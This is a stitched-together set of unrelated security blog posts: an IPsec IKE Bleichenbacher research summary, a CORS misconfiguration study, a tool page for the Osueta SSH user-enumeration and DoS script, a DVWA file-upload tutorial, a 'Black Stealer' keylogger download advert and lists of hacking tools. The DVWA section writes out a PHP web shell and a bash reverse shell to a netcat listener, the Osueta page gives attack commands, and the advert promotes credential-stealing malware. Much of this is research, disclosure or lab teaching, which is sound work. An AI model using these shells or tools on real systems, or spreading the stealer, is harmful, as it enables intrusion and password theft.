Practical Bleichenbacher Attacks On IPsec IKE

We found out that reusing a key pair across different versions and modes of IPsec IKE can lead to cross-protocol authentication bypasses, enabling the impersonation of a victim host or network by attackers. These vulnerabilities existed in implementations by Cisco, Huawei, and others.

This week at the USENIX Security conference, I will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE written by Martin Grothe, Jörg Schwenk, and me from Ruhr University Bochum as well as Adam Czubak and Marcin Szymanek from the University of Opole [alternative link to the paper]. This blog post is intended for people who like to get a comprehensive summary of our findings rather than to read a long research paper.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

Attacks on IKE implementations

With our attacks we can impersonate an IKE device: If the attack is successful, we share a set of (falsely) authenticated symmetric keys with the victim device, and can successfully complete the handshake – this holds for both IKEv1 and IKEv2. The attacks are based on Bleichenbacher oracles in the IKEv1 implementations of four large network equipment manufacturers: Cisco, Huawei, Clavister, and ZyXEL. These Bleichenbacher oracles can also be used to forge digital signatures, which breaks the signature based IKEv1 and IKEv2 variants. Those who are unfamiliar with Bleichenbacher attacks may read this post by our colleague Juraj Somorovsky for an explanation.

The affected hardware test devices by Huawei, Cisco, and ZyXEL in our network lab.

We show that the strength of these oracles is sufficient to break all handshake variants in IKEv1 and IKEv2 (except those based on PSKs) when given access to powerful network equipment. We furthermore demonstrate that key reuse across protocols as implemented in certain network equipment carries high security risks.

We additionally show that both PSK based modes can be broken with an offline dictionary attack if the PSK has low entropy. Such an attack was previously only documented for one of those modes (edit: see this comment). We thus show attacks against all authentication modes in both IKEv1 and IKEv2 under reasonable assumptions.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Where's the bug?

The public key encryption (PKE) based authentication mode of IKE requires that both parties exchanged their public keys securely beforehand (e. g. with certificates during an earlier handshake with signature based authentication). RFC 2409 advertises this mode of authentication with a plausibly deniable exchange to raise the privacy level. In this mode, messages three and four of the handshake exchange encrypted nonces and identities. They are encrypted using the public key of the respective other party. The encoding format for the ciphertexts is PKCS #1 v1.5.

Bleichenbacher attacks are adaptive chosen ciphertext attacks against RSA-PKCS #1 v1.5. Though the attack has been known for two decades, it is a common pitfall for developers. The mandatory use of PKCS #1 v1.5 in the PKE authentication methods raised suspicion of whether implementations resist Bleichenbacher attacks.

PKE authentication is available and fully functional in Cisco's IOS operating system. In Clavister's cOS and ZyXEL's ZyWALL USG devices, PKE is not officially available. There is no documentation and no configuration option for it and it is therefore not fully functional. Nevertheless, these implementations processed messages using PKE authentication in our tests.

Huawei implements a revised mode of the PKE mode mentioned in the RFC that saves one private key operation per peer (we call it RPKE mode). It is available in certain Huawei devices including the Secospace USG2000 series.

We were able to confirm the existence of Bleichenbacher oracles in all these implementations. Here are the CVE entries and security advisories by the vendors (I will add links once they are available):

• Cisco: CVE-2018-0131, Security Advisory
• Huawei: CVE-2017-17305, Security Advisory
• Clavister: CVE-2018-8753, Security Advisory
• Zyxel: CVE-2018-9129, Security Advisory

On an abstract level, these oracles work as follows: If we replace the ciphertext of the nonce in the third handshake message with a modified RSA ciphertext, the responder will either indicate an error (Cisco, Clavister, and ZyXEL) or silently abort (Huawei) if the ciphertext is not PKCS #1 v1.5 compliant. Otherwise, the responder continues with the fourth message (Cisco and Huawei) or return an error notification with a different message (Clavister and ZyXEL) if the ciphertext is in fact PKCS #1 v1.5 compliant. Each time we learn that the ciphertext was valid, we can advance the Bleichenbacher attack one more step.

A Bleichenbacher Attack Against PKE

If a Bleichenbacher oracle is discovered in a TLS implementation, then TLS-RSA is broken since one can compute the Premaster Secret and the TLS session keys without any time limit on the usage of the oracle. For IKEv1, the situation is more difficult: Even if there is a strong Bleichenbacher oracle in PKE and RPKE mode, our attack must succeed within the lifetime of the IKEv1 Phase 1 session, since a Diffie-Hellman key exchange during the handshake provides an additional layer of security that is not present in TLS-RSA. For example, for Cisco this time limit is currently fixed to 60 seconds for IKEv1 and 240 seconds for IKEv2.

To phrase it differently: In TLS-RSA, a Bleichenbacher oracle allows to perform an ex post attack to break the confidentiality of the TLS session later on, whereas in IKEv1 a Bleichenbacher oracle only can be used to perform an online attack to impersonate one of the two parties in real time.

Bleichenbacher attack against IKEv1 PKE based authentication.

The figure above depicts a direct attack on IKEv1 PKE:

1. The attackers initiate an IKEv1 PKE based key exchange with Responder A and adhere to the protocol until receiving the fourth message. They extract the encrypted nonce from this message, and record the other public values of the handshake.
2. The attackers keep the IKE handshake with Responder A alive as long as the responder allows. For Cisco and ZyXEL we know that handshakes are cancelled after 60 seconds, Clavister and Huawei do so after 30 seconds.
3. The attackers initiate several parallel PKE based key exchanges to Responder B.
• In each of these exchanges, they send and receive the first two messages according to the protocol specifications.
• In the third message, they include a modified version of the encrypted nonce according to the the Bleichenbacher attack methodology.
• They wait until they receive an answer or they can reliably determine that this message will not be sent (timeout or reception of a repeated second handshake message).
4. After receiving enough answers from Responder B, the attackers can compute the plaintext of the nonce.
5. The attackers now have all the information to complete the key derivation and the handshake. They thus can impersonate Responder B to Responder A.

Key Reuse

Maintaining individual keys and key pairs for each protocol version, mode, and authentication method of IKE is difficult to achieve in practice. It is oftentimes simply not supported by implementations. This is the case with the implementations by Clavister and ZyXEL, for example. Thus, it is common practice to have only one RSA key pair for the whole IKE protocol family. The actual security of the protocol family in this case crucially depends on its cross-ciphersuite and cross-version security. In fact, our Huawei test device reuses its RSA key pair even for SSH host identification, which further exposes this key pair.

A Cross-Protocol Version Attack with Digital Signature Based Authentication

Signature Forgery Using Bleichenbacher's Attack

It is well known that in the case of RSA, performing a decryption and creating a signature is mathematically the same operation. Bleichenbacher's original paper already mentioned that the attack could also be used to forge signatures over attacker-chosen data. In two papers that my colleagues at our chair have published, this has been exploited for attacks on XML-based Web Services, TLS 1.3, and Google's QUIC protocol. The ROBOT paper used this attack to forge a signature from Facebook's web servers as proof of exploitability.

IKEv2 With Digital Signatures

Digital signature based authentication is supported by both IKEv1 and IKEv2. We focus here on IKEv2 because on Cisco routers, an IKEv2 handshake may take up to four minutes. This more relaxed timer compared to IKEv1 makes it an interesting attack target.

I promised that this blogpost will only give a comprehensive summary, therefore I am skipping all the details about IKEv2 here. It is enough to know that the structure of IKEv2 is fundamentally different from IKEv1.

If you're familiar with IT-security, then you will believe me that if digital signatures are used for authentication, it is not particularly good if an attacker can get a signature over attacker chosen data. We managed to develop an attack that exploits an IKEv1 Bleichenbacher oracle at some peer A to get a signature that can be used to break the IKEv2 authentication at another peer B. This requires that peer A reuses its key pair for IKEv2 also for IKEv1. For the details, please read our paper [alternative link to the paper].

Evaluation and Results

For testing the attack, we used a Cisco ASR 1001-X router running IOS XE in version 03.16.02.S with IOS version 15.5(3)S2. Unfortunately, Cisco's implementation is not optimized for throughput. From our observations we assume that all cryptographic calculations for IKE are done by the device's CPU despite it having a hardware accelerator for cryptography. One can easily overload the device's CPU for several seconds with a standard PC bursting handshake messages, even with the default limit for concurrent handshakes. And even if the CPU load is kept below 100 %, we nevertheless observed packet loss.

For the decryption attack on Cisco's IKEv1 responder, we need to finish the Bleichenbacher attack in 60 seconds. If the public key of our ASR 1001-X router is 1024 bits long, we measured an average of 850 responses to Bleichenbacher requests per second. Therefore, an attack must succeed with at most 51,000 Bleichenbacher requests.

But another limit is the management of Security Associations (SAs). There is a global limit of 900 Phase 1 SAs under negotiation per Cisco device in the default configuration. If this number is exceeded, one is blocked. Thus, one cannot start individual handshakes for each Bleichenbacher request to issue. Instead, SAs have to be reused as long as their error counter allows. Furthermore, establishing SAs with Cisco IOS is really slow. During the attack, the negotiations in the first two messages of IKEv1 require more time than the actual Bleichenbacher attack.

We managed to perform a successful decryption attack against our ASR 1001-X router with approximately 19,000 Bleichenbacher requests. However, due to the necessary SA negotiations, the attack took 13 minutes.

For the statistics and for the attack evaluation of digital signature forgery, we used a simulator with an oracle that behaves exactly as the ones by Cisco, Clavister, and ZyXEL. We found that about 26% of attacks against IKEv1 could be successful based on the cryptographic performance of our Cisco device. For digital signature forgery, about 22% of attacks could be successful under the same assumptions.

Note that (without a patched IOS), only non-cryptographic performance issues prevented a succesful attack on our Cisco device. There might be faster devices that do not suffer from this. Also note that a too slow Bleichenbacher attack does not permanently lock out attackers. If a timeout occurs, they can just start over with a new attack using fresh values hoping to require fewer requests. If the victim has deployed multiple responders sharing one key pair (e. g. for load balancing), this could also be leveraged to speed up an attack.

Responsible Disclosure

We reported our findings to Cisco, Huawei, Clavister, and ZyXEL. Cisco published fixes with IOS XE versions 16.3.6, 16.6.3, and 16.7.1. They further informed us that the PKE mode will be removed with the next major release.

Huawei published firmware version V300R001C10SPH702 for the Secospace USG2000 series that removes the Bleichenbacher oracle and the crash bugs we identified. Customers who use other affected Huawei devices will be contacted directly by their support team as part of a need-to-know strategy.

Clavister removed the vulnerable authentication method with cOS version 12.00.09. ZyXEL responded that our ZyWALL USG 100 test device is from a legacy model series that is end-of-support. Therefore, these devices will not receive a fix. For the successor models, the patched firmware version ZLD 4.32 (Release Notes) is available.

FAQs

• Why don't you have a cool name for this attack?
  The attack itself already has a name, it's Bleichenbacher's attack. We just show how Bleichenbacher attacks can be applied to IKE and how they can break the protocol's security. So, if you like, call it IPsec-Bleichenbacher or IKE-Bleichenbacher.
• Do you have a logo for the attack?
  No.
• My machine was running a vulnerable firmware. Have I been attacked?
  We have no indication that the attack was ever used in the wild. However, if you are still concerned, check your logs. The attack is not silent. If your machine was used for a Bleichenbacher attack, there should be many log entries about decryption errors. If your machine was the one that got tricked (Responder A in our figures), then you could probably find log entries about unfinished handshake attempts.
• Where can I learn more?
  First of all, you can read the paper [alternative link to the paper]. Second, you can watch the presentation, either live at the conference or later on this page.
• What else does the paper contain?
  The paper contains a lot more details than this blogpost. It explains all authentication methods including IKEv2 and it gives message flow diagrams of the protocols. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. Furthermore, we describe the quirks of Huawei's implementation including crash bugs that could allow for Denial-of-Service attacks. Last but not least, it describes a dictionary attack against the PSK mode of authentication that is covered in a separate blogpost.

Media Coverage, Blogs, and more

English

• Press release by the Ruhr University Bochum
• BleepingComputer
• Computer Business Review
• Medium
• SecurityWeek
• The Register
• ZDNet

German

• Pressemeldung der Ruhr-Universität Bochum
• FOCUS Online
• SecuPedia

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Osueta: A Simple Python Script To Exploit The OpenSSH User Enumeration Timing Attack

About Osueta?
   Osueta it's a simple Python 2 script to exploit the OpenSSH User Enumeration Timing Attack, present in OpenSSH versions <= 7.2 and >= 5.*. The script has the ability to make variations of the username employed in the bruteforce attack, and the possibility to establish a DoS condition in the OpenSSH server.

    Read more: OpenSSH User Enumeration Time-Based Attack

   The bug was corrected in OpenSSH version 7.3.

   Authors of Osueta:

• c0r3dump3d: coredump@autistici.org
• rofen: rofen@gmx.de

Osueta's Installation
   For Linux users, open your Terminal and enter these commands:
   If you're Windows users, follow these steps:

• Install Python 2.7.x from Python.org first. On Install Python 2.7.x Setup, choose Add python.exe to Path.
• Download Osueta-master zip file.
• Then unzip it.
• Open CMD or PowerShell window at the Osueta folder you have just unzipped and enter these commands:
  pip install python-nmap paramiko IPy
python osueta.py -h

Advice: Like others offensive tools, the authors disclaims all responsibility in the use of this script.

Osueta help menu:

Osueta's examples:
   A single user enumeration attempt with username variations:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v yes

   A single user enumeration attempt with no user variations a DoS attack:
python2 osueta.py -H 192.168.1.6 -p 22 -U root -d 30 -v no --dos yes

   Scanning a C class network with only one user:
python2 osueta.py -H 192.168.1.0/24 -p 22 -U root -v no 

   Scanning a C class network with usernames from a file, delay time 15 seconds and a password of 50000 characters:
python2 osueta.py -H 192.168.1.0/24 -p 22 -L usernames.txt -v yes -d 15 -l 50

Download Osueta

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CORS Misconfigurations On A Large Scale

Inspired by James Kettle's great OWASP AppSec Europe talk on CORS misconfigurations, we decided to fiddle around with CORS security issues a bit. We were curious how many websites out there are actually vulnerable because of dynamically generated or misconfigured CORS headers.

The issue: CORS misconfiguration

Cross-Origin Resource Sharing (CORS) is a technique to punch holes into the Same-Origin Policy (SOP) – on purpose. It enables web servers to explicitly allow cross-site access to a certain resource by returning an Access-Control-Allow-Origin (ACAO) header. Sometimes, the value is even dynamically generated based on user-input such as the Origin header send by the browser. If misconfigured, an unintended website can access the resource. Furthermore, if the Access-Control-Allow-Credentials (ACAC) server header is set, an attacker can potentially leak sensitive information from a logged in user – which is almost as bad as XSS on the actual website. Below is a list of CORS misconfigurations which can potentially be exploited. For more technical details on the issues read the this fine blogpost.

Misconfiguation	Description
Developer backdoor	Insecure developer/debug origins like JSFiddler CodePen are allowed to access the resource
Origin reflection	The origin is simply echoed in ACAO header, any site is allowed to access the resource
Null misconfiguration	Any site is allowed access by forcing the null origin via a sandboxed iframe
Pre-domain wildcard	notdomain.com is allowed access, which can simply be registered by the attacker
Post-domain wildcard	domain.com.evil.com is allowed access, can be simply be set up by the attacker
Subdomains allowed	sub.domain.com allowed access, exploitable if the attacker finds XSS in any subdomain
Non-SSL sites allowed	An HTTP origin is allowed access to a HTTPS resource, allows MitM to break encryption
Invalid CORS header	Wrong use of wildcard or multiple origins,not a security problem but should be fixed

The tool: CORStest

Testing for such vulnerabilities can easily be done with curl(1). To support some more options like, for example, parallelization we wrote CORStest, a simple Python based CORS misconfiguration checker. It takes a text file containing a list of domain names or URLs to check for misconfigurations as input and supports some further options:

usage: corstest.py [arguments] infile

positional arguments:
  infile         File with domain or URL list

optional arguments:
  -h, --help     show this help message and exit
  -c name=value  Send cookie with all requests
  -p processes   multiprocessing (default: 32)
  -s             always force ssl/tls requests
  -q             quiet, allow-credentials only
  -v             produce a more verbose output

CORStest can detect potential vulnerabilities by sending various Origin request headers and checking for the Access-Control-Allow-Origin response. An example for those of the Alexa top 750 websites which allow credentials for CORS requests is given below.

Evaluation with Alexa top 1 Million websites

To evaluate – on a larger scale – how many sites actually have wide-open CORS configurations we did run CORStest on the Alexa top 1 million sites:

$ git clone https://github.com/RUB-NDS/CORStest.git && cd cors/
$ wget -q http://s3.amazonaws.com/alexa-static/top-1m.csv.zip
$ unzip top-1m.csv.zip
$ awk -F, '{print $2}' top-1m.csv > alexa.txt
$ ./corstest.py alexa.txt

This test took about 14 hours on a decent connection and revealed the following results:

Only 29,514 websites (about 3%) actually supported CORS on their main page (aka. responded with Access-Control-Allow-Origin). Of course, many sites such as Google do only enable CORS headers for certain resources, not directly on their landing page. We could have crawled all websites (including subdomains) and fed the input to CORStest. However, this would have taken a long time and for statistics, our quick & dirty approach should still be fine. Furthermore it must be noted that the test was only performed with GET requests (without any CORS preflight) to the http:// version of websites (with redirects followed). Note that just because a website, for example, reflects the origin header it is not necessarily vulnerable. The context matters; such a configuration can be totally fine for a public sites or API endpoints intended to be accessible by everyone. It can be disastrous for payment sites or social media platforms. Furthermore, to be actually exploitable the Access-Control-Allow-Credentials: true (ACAC) header must be set. Therefore we repeated the test, this time limited to sites that return this header (see CORStest -q flag):

$ ./corstest.py -q alexa.txt

This revealed even worse results - almost half of the websites supporting ACAO and ACAC headers contained a CORS misconfigurations that could be exploited directly by a web attacker (developer backdoor, origin reflection, null misconfig, pre-/post-domain wildcard):

The Impact: SOP/SSL bypass on payment and taxpayer sites

Note that not all tested websites actually were exploitable. Some contained only public data and some others - such as Bitbucket - had CORS enabled for their main page but not for subpages containing user data. Manually testing the sites, we found to be vulnerable:

• A dozen of online banking, bitcoin and other payment sites; one of them allowed us to create a test account so we were able to write proof-of-concept code which could actually have been used to steal money
• Hundred of online shops/e-commerce sites and a bunch of hotel/flight booking sites
• Various social networks and misc sites which allow users to log in and communicate
• One US state's tax filing website (however, this one was exploitable by a MitM only)

We informed all sites we manually tested and found to be vulnerable. A simple exploit code example when logged into a website with CORS origin reflection is given below.

The Reason: Copy & Paste and broken frameworks

We were further interested in reasons for CORS misconfigurations. Particularly we wanted to learn if there is a correlation between applied technology and misconfiguration. Therefore we used WhatWeb to fingerprint the web technologies for all vulnerable sites. CORS is usually enabled either directly in the HTTP server configuration or by the web application/framework. While we could not identify a single major cause for CORS misconfigurations, we found various potential reasons. A majority of dangerous Access-Control-* headers had probably been introduced by developers, others however are based on bugs and bad practices in some products. Insights follow:

• Various websites return invalid CORS headers; besides wrong use of wildcards such as *.domain.com, ACAO headers which contain multiple origins can often be found; Other examples of invalid - but quite creative - ACAO values we observed are: self, true, false, undefined, None, 0, (null), domain, origin, SAMEORIGIN
• Rack::Cors, the de facto standard library to enable CORS for Ruby on Rails maps origins '' or origins '*' into reflecting arbitrary origins; this is dangerous, because developers would think that '' allows nothing and '*' behaves according to the spec: mostly harmless because it cannot be used to make to make 'credentialed' requests; this config error leads to origin reflection with ACAC headers on about a hundred of the tested and vulnerable websites
• A majority of websites which allow a http origin to CORS access a https resource are run on IIS; this seems to be no bug in IIS itself but rather caused by bad advises found on the Internet
• nginx is the winner when it comes serving websites with origin reflections; again, this is not an issue of nginx but of dangerous configs copied from "Stackoverflow; same problem for Phusion Passenger
• The null ACAO value may be based on programming languages that simply return null if no value is given (we haven't found any specific framework though); another explanation is that 'CORS in Action', a popular book on CORS, contains various examples with code such as var originWhitelist = ['null', ...], which could be misinterpreted by developers as safe
• If CORS is enabled in the crVCL PHP Framework, it adds ACAC and ACAO headers for a configured domain. Unfortunatelly, it also introduces a post-domain and pre-subdomain wildcard vulnerability: sub.domain.com.evil.com
• All sites that are based on "Solo Build It!" (scam?) respond with: Access-Control-Allow-Origin: http://sbiapps.sitesell.com
• Some sites have :// or // as fixed ACAO values. How should browsers deal with this? Inconsistent at least! Firefox, Chrome, Safari and Opera allow arbitrary origins while IE and Edge deny all origins.

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Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:

Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:

echo TESTUPLOAD > test.txt

and now upload it.

The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:

http://localhost:9000/hackable/uploads/test.txt

and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.

<?php
phpinfo();
?>

Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:

http://localhost:9000/hackable/uploads/info.php

and you should see a phpinfo page like this:

phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:

<?php
system($_GET["cmd"]);
?>

save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:

http://localhost:9000/hackable/uploads/shell.php?cmd=whoami

we see a response from the server giving us the user under which the web application is running.

We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.

Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:

ifconfig docker0

the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:

bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'

here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:

bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

Now start a listener on host with this command:

nc -lvnp 9999

and then enter the url encoded reverse shell in the cmd parameter of the url like this:

http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27

looking back at the listener we have a reverse shell.

Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:

nc -lvnp 9999

and upload the reverse shell to the server and access it to execute our reverse shell.

That's it for today have fun.

References:

1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php

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DOWNLOAD BLACK STEALER V2.1 FULL

BLACK STEALER V2.1 FULL

Black Stealer v2.1 is an advanced keylogger that can steal even saved passwords from the browsers and sends through Email and FTP. It's really easy to the crypt. Keylogger is a computer program that is a type of surveillance technology used to monitor and record each keystroke typed on a specific computer's keyboard by the user, especially in order to gain unauthorized access to the passwords and other confidential information. It's also called a keystroke logger or system monitor. Download black stealer v2.1 full.

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RECONNAISSANCE IN ETHICAL HACKING

What is reconnaissance in ethical hacking?
This is the primary phase of hacking where the hacker tries to collect as much information as possible about the target.It includes identifying the target ip address range,network,domain,mail server records etc.

They are of two types-
Active Reconnaissance 
Passive Reconnaissance 

1-Active Reconnaissance-It the process from which we directly interact with the computer system to gain information. This information can be relevant and accurate but there is a risk of getting detected if you are planning active reconnaissance without permission.if you are detected then the administration will take the severe action action against you it may be jail!

Passive Reconnaissance-In this process you will not be directly connected to a computer system.This process is used to gather essential information without ever interacting with the target system.

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Top 10 Most Popular Ethical Hacking Tools (2019 Ranking)

     Top 10 powerful Hacking  Tools in 2019.       

If hacking is performed to identify the potential threats to a computer or network then it will be an ethical hacking.

Ethical hacking is also called penetration testing, intrusion testing, and red teaming.

Hacking is the process of gaining access to a computer system with the intention of fraud, data stealing, and privacy invasion etc., by identifying its weaknesses.

Ethical Hackers:

A person who performs the hacking activities is called a hacker.

There are six types of hackers:

• The Ethical Hacker (White hat)
• Cracker
• Grey hat
• Script kiddies
• Hacktivist
• Phreaker

A security professional who uses his/her hacking skills for defensive purposes is called an ethical hacker. To strengthen the security, ethical hackers use their skills to find vulnerabilities, document them, and suggest the ways to rectify them.

Companies that provide online services or those which are connected to the internet, must perform penetration testing by ethical hackers. Penetration testing is another name of ethical hacking. It can be performed manually or through an automation tool.

Ethical hackers work as an information security expert. They try to break the security of a computer system, network, or applications. They identify the weak points and based on that, they give advice or suggestions to strengthen the security.

Programming languages that are used for hacking include PHP, SQL, Python, Ruby, Bash, Perl, C, C++, Java, VBScript, Visual Basic, C Sharp, JavaScript, and HTML.

Few Hacking Certifications include:

1. CEH
2. GIAC
3. OSCP
4. CREST

Let's Explore!!

#1) Nmap

Price: Free

Description:

Nmap is a security scanner, port scanner, as well as a network exploration tool. It is an open source software and is available for free.

It supports cross-platform. It can be used for network inventory, managing service upgrade schedules, and for monitoring host & service uptime. It can work for a single host as well as large networks. It provides binary packages for Linux, Windows, and Mac OS X.

Features: 

• Nmap suite has:
  • Data transfer, redirection, and debugging tool(Ncat),
  • Scan results comparing utility(Ndiff),
  • Packet generation and response analysis tool (Nping),
  • GUI and Results viewer (Nping)
• Using raw IP packets it can determine:
  • The available hosts on the network.
  • Their services offered by these available hosts.
  • Their OS.
  • Packet filters they are using.
  • And many other characteristics.

Best for: Nmap is best for scanning network. It is easy to use and fast as well.

Website: Nmap

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#2) Netsparker

Netsparker is a dead accurate ethical hacking tool, that mimics a hacker's moves to identify vulnerabilities such as SQL Injection and Cross-site Scripting in web applications and web APIs. 

 

Netsparker uniquely verifies the identified vulnerabilities proving they are real and not false positives, so you do not need to waste hours manually verifying the identified vulnerabilities once a scan is finished.

 

It is available as a Windows software and an online service.

=> Visit Netsparker Website Here

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#3) Acunetix 

Acunetix is a fully automated ethical hacking tool that detects and reports on over 4500 web application vulnerabilities including all variants of SQL Injection and XSS.

The Acunetix crawler fully supports HTML5 and JavaScript and Single-page applications, allowing auditing of complex, authenticated applications.

It bakes in advanced Vulnerability Management features right-into its core, prioritizing risks based on data through a single, consolidated view, and integrating the scanner's results into other tools and platforms.

=> Visit Acunetix Official Website

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#4) Metasploit

Price: Metasploit Framework is an open source tool and it can be downloaded for free. Metasploit Pro is a commercial product. Its free trial is available for 14 days. Contact the company to know more about its pricing details.

Description:

It is the software for penetration testing. Using Metasploit Framework, you can develop and execute exploit code against a remote machine. It supports cross-platform.

Features: 

• It is useful for knowing about security vulnerabilities.
• Helps in penetration testing.
• Helps in IDS signature development.
• You can create security testing tools.

Best For Building anti-forensic and evasion tools.

Website: Metasploit

#5) Aircrack-Ng

Price: Free

Description:

Aircrack-ng provides different tools for evaluating Wi-Fi network security.

All are command line tools. For Wi-Fi security, it focuses on monitoring, attacking, testing, and cracking. It supports Linux, Windows, OS X, Free BSD, NetBSD, OpenBSD, Solaris, and eComStation 2.

Features:

• Aircrack-ng can focus on Replay attacks, de-authentication, fake access points, and others.
• It supports exporting data to text files.
• It can check Wi-Fi cards and driver capabilities.
• It can crack WEP keys and for that, it makes use of FMS attack, PTW attack, and dictionary attacks.
• It can crack WPA2-PSK and for that, it makes use of dictionary attacks.

Best For: Supports any wireless network interface controller.

Website: Aircrack-Ng

#6) Wireshark

Price: Free

Description:

Wireshark is a packet analyzer and can perform deep inspection of many protocols.

It supports cross-platform. It allows you to export the output to different file formats like XML, PostScript, CSV, and Plaintext. It provides the facility to apply coloring rules to packet list so that analysis will be easier and quicker. The above image will show the capturing of packets.

Features:

• It can decompress the gzip files on the fly.
• It can decrypt many protocols like IPsec, ISAKMP, and SSL/TLS etc.
• It can perform live capture and offline analysis.
• It allows you to browse the captured network data using GUI or TTY-mode TShark utility.

Best For: Analyzing data packets.

Website: Wireshark

#7) Ettercap

Price: Free.

Description:

Ettercap supports cross-platform. Using Ettercap's API, you can create custom plugins. Even with the proxy connection, it can do sniffing of HTTP SSL secured data.

Features:

• Sniffing of live connections.
• Content filtering.
• Active and passive dissection of many protocols.
• Network and host analysis.

Best For: It allows you to create custom plugins.

Website: Ettercap

#8) Maltego

Price: The Community version, Maltego CE is available for free. Price for Maltego Classic is $999. Price for Maltego XL is $1999. These two products are for the desktop. Price for the server products like CTAS, ITDS, and Comms starts at $40000, which includes training as well.

Description:

Maltego is a tool for link analysis and data mining. It supports Windows, Linux, and Mac OS.

For the discovery of data from open sources and visualizing the information in graphical format, it provides the library of transforms. It performs real-time data-mining and information gathering.

Features:

• Represents the data on node-based graph patterns.
• Maltego XL can work with large graphs.
• It will provide you the graphical picture, thereby telling you about the weak points and abnormalities of the network.

Best For: It can work with very large graphs.

Website: Maltego

#9) Nikto

Price: Free

Description:

Nikto is an open source tool for scanning the web server.

It scans the web server for dangerous files, outdated versions, and particular version related problems. It saves the report in a text file, XML, HTML, NBE, and CSV file formats. Nikto can be used on the system which supports basic Perl installation. It can be used on Windows, Mac, Linux, and UNIX systems.

Features:

• It can check web servers for over 6700 potentially dangerous files.
• It has full HTTP proxy support.
• Using Headers, favicons, and files, it can identify the installed software.
• It can scan the server for outdated server components.

Best For: As a Penetration Testing tool.

Website: Nikto

#10) Burp Suite

Price: It has three pricing plans. Community edition can be downloaded for free. Pricing for Enterprise edition starts at $3999 per year. Price of the Professional edition starts at $399 per user per year.

Description:

Burp Suite has a web vulnerability scanner and has advanced and essential manual tools.

It provides many features for web application security. It has three editions, community, enterprise, and professional. With community editions, it provides essential manual tools. With the paid versions it provides more features like Web vulnerabilities scanner.

Features:

• It allows you to schedule and repeats the scan.
• It scans for 100 generic vulnerabilities.
• It uses out-of-band techniques (OAST).
• It provides detailed custom advisory for the reported vulnerabilities.
• It provides CI Integration.

Best For: Security testing.

Website: Burp Suite

#11) John The Ripper

Price: Free

Description:

John the Ripper is a tool for password cracking. It can be used on Windows, DOS, and Open VMS. It is an open source tool. It is created for detecting weak UNIX passwords.

Features:

• John the Ripper can be used to test various encrypted passwords.
• It performs dictionary attacks.
• It provides various password crackers in one package.
• It provides a customizable cracker.

Best For: It is fast in password cracking.

Website:  John the Ripper

#12) Angry IP Scanner

Price: Free

Description:

Angry IP Scanner is a tool for scanning the IP addresses and ports. It can scan both on local network and Internet. It supports Windows, Mac, and Linux operating systems.

Features:

• It can export the result in many formats.
• It is a command-line interface tool.
• It is extensible with many data fetchers.

Website:  Angry IP Scanner

Conclusion

As explained here, Nmap is used for computer security and network management. It is good for scanning the network. Metasploit is also for security and is good for building anti-forensic and evasion tools.

